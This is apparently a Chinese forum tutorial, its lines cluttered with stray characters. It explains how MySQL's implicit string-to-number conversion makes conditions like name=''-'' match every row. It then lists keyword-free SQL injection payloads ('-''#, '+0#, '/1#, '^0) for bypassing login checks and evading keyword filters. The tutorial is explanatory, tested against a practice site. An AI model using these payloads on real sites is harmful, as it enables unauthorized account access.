我们先来看这样一个场景。
0 U# x# j9 T# o% w1 t有以下表结构: - u$ M2 `6 j! P+ k( c5 a, b, y, R# f
, \7 z% i" i: ymysql> desc admin;
9 C0 ]0 m* T* R+----------+--------------+------+-----+---------+----------------+7 l8 e* r% V# j
| Field | Type | Null | Key | Default | Extra |2 {& W1 |+ V7 l8 u
+----------+--------------+------+-----+---------+----------------+! Q9 @1 ]1 b1 w E; ?
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
4 n0 ~+ l6 @. b| name | char(32) | NO | UNI | NULL | |% x8 V Z0 X0 `
| password | char(32) | NO | UNI | NULL | |
+ q& Y e M9 F @/ e# s+----------+--------------+------+-----+---------+----------------+$ s8 _; G1 j' y" C! a
3 rows in set (0.00 sec)0 D% G& Z5 S4 ~- R0 a
执行select * from admin;,成功返回所有记录内容。 x- ?1 m6 N0 b/ w9 c- i
, d; l H0 @2 \; l0 Q
) H0 M, O+ S) n; |, Q5 ]7 O
+----+--------+----------------------------------+ @9 y% U0 A6 ]$ u7 D7 G$ B
| id | name | password |" D8 O- ]" B7 e) m2 f4 e
+----+--------+----------------------------------+
0 g% U4 H* v9 f& `& o, C5 E4 }| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |% j8 h; d5 O) c. F. K
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |' B1 i r- t# E' n3 Z
| 4 | n00b | ff80e8508d39047460921792273533a4 |- X* u" h& S. A2 {
+----+--------+----------------------------------+2 Y) z; W% }0 G$ e
3 rows in set (0.00 sec)3 U: O0 Q0 u( X2 U0 ^+ @$ N
执行select * from admin where name=”;,没有匹配到任何记录。
9 e& O0 ?1 o$ w5 O) | x- |' t) W5 ]9 N2 m7 b
mysql> select * from admin where name = '';9 ^2 d/ N) G K; Q8 F1 W, R) k- X
Empty set (0.00 sec)
- S2 J0 P. g% T6 D+ X+ a那么我们来执行select * from admin where name = ”-”;$ A1 L5 |' X0 O: H, N. Y: U
1 ~. P5 P- s/ M- E9 R+ \9 _8 z
: B! s% l* _$ J5 c$ i& M
+----+--------+----------------------------------+
; Z. E; E+ n c, O" b6 q7 o. p| id | name | password |
% e2 b. Q# f3 ]* v0 l9 B2 b9 E+----+--------+----------------------------------+" ?. M" k/ c" n2 ]% F9 i$ V9 \7 |
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |0 }" k" X( L' a/ m' ?
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |* N* u+ O! O j9 n9 h# G
| 4 | n00b | ff80e8508d39047460921792273533a4 |
3 g" d* U. H6 g L# j+----+--------+----------------------------------++ X- Z4 W. b/ C; r" k1 G' }
3 rows in set, 3 warnings (0.00 sec)5 \& `/ q. \2 B
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
- ]1 B6 w! t- [+ Z! a3 w9 X' ^) M# A# o* W2 U, ^* [
mysql> show warnings;; @& B4 N! @" W( p8 w! W
+---------+------+------------------------------------------
" p$ n# x/ t6 Q/ G7 `- A2 `2 j7 Q| Level | Code | Message
8 S: i8 P1 b( C1 _6 y( j+---------+------+------------------------------------------! a$ M! [8 b* k) e
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin8 V0 E( }# Z2 D; A8 V/ g: t; g
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s" C' C" [0 ~" `! T* d
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
0 t$ Z: J2 \6 z+---------+------+------------------------------------------
% E) J) I r, e- g2 s; e+ r3 rows in set (0.00 sec)
4 u; c2 @% W: {; }9 K提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 - u3 X) z- X% H! N
w& [# S3 z7 _( v, I' O- ~mysql> select ''-'';- w$ @; N" r. q" Q( ^& U, t/ Q( K* D2 Y
+-------+
) t1 C; m9 ]. _6 j| ''-'' |
; ~# v& A/ W2 R3 n6 S: r( G' }+-------+3 a6 d* A, {# o ]% I: X2 C
| 0 |, t6 N: i. O$ ]
+-------+( g& _4 z. m) r$ R' |7 d
1 row in set (0.00 sec)
- n3 J- `; ~# w# W! C4 z& }返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
) ~6 \2 G6 Z, F* B1 \3 M2 v& _2 T5 d0 O
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
7 P* } r4 ~3 G5 r) m) a1 D+-----------------------------------------------------+; A8 y" u! m( w+ h5 x6 }
| CAST((select name from admin limit 1,1) as DECIMAL) |7 u/ e* o* Q' U" E5 o/ b: V1 ^
+-----------------------------------------------------+, u( {* v( N. f" T
| 0 |
, Y! l ?% i& p6 B; J+-----------------------------------------------------++ m* T. K" \( ^8 x& V9 |
1 row in set, 1 warning (0.00 sec)
P4 n6 V$ _4 R; S% n! W因此where语句构成了相等的条件,where 0=”=”,记录被返回。
2 X f f& `# }& S! |& {6 a, a/ w9 J5 G$ e8 f& e7 {" w
SQL注入场景: http://www.sqlzoo.net/hack/ 8 Y$ m' w! {. n7 B9 ], E9 T4 l
$ C7 p' E& k) J. `. J- Z3 G
1 q) I( V: j3 e# X* E
+ ]& T4 a) E3 W/ p
l& A. E4 n8 ^/ ^6 @如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
, G _# \1 y" o2 k1 `
/ }6 o- t) A7 K. @( I8 u那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ( t, n2 l5 E. t; _; P a
1 w5 T+ l6 A) |% O9 Q% d# q. X2 q- _7 ? t9 E8 i2 N0 p4 x
3 _, ~ n0 O% @. v5 O4 C& r" v6 Z- U; i ^& N/ w+ [
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
) y3 g" [2 a1 \6 d2 x
- H d9 Y# k! w1 | T& C# u 0 E. C" X3 j) T! y
- E. }( |: _, R! ?6 W除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可' l8 A( v4 ^; h. X! ]
7 ^$ D0 V2 M4 J$ R
& e6 L G$ A; x% H3 ^2 t$ Mmysql> select ''/1; K4 ^6 A: l- g4 Q/ _
+------+
8 k: u4 g3 ]& T% a" E8 X* ~| ''/1 |
+ n# H! }0 \& S4 n3 d( G5 P H+ M3 U0 A+------+
: O; w- r ^! h9 b& y6 V0 Z8 k0 v| 0 |! h1 H# E" u8 e' B
+------+
% |* m$ x) b! Y9 m9 s+ H1 row in set (0.00 sec)
$ F! `7 i a, G( F: }' c' s& g类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
% N$ E. z& F0 f q9 l# L1 y- @0 O$ ^; y. L7 L' ~
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。0 Q! N o5 M, k6 _
|
|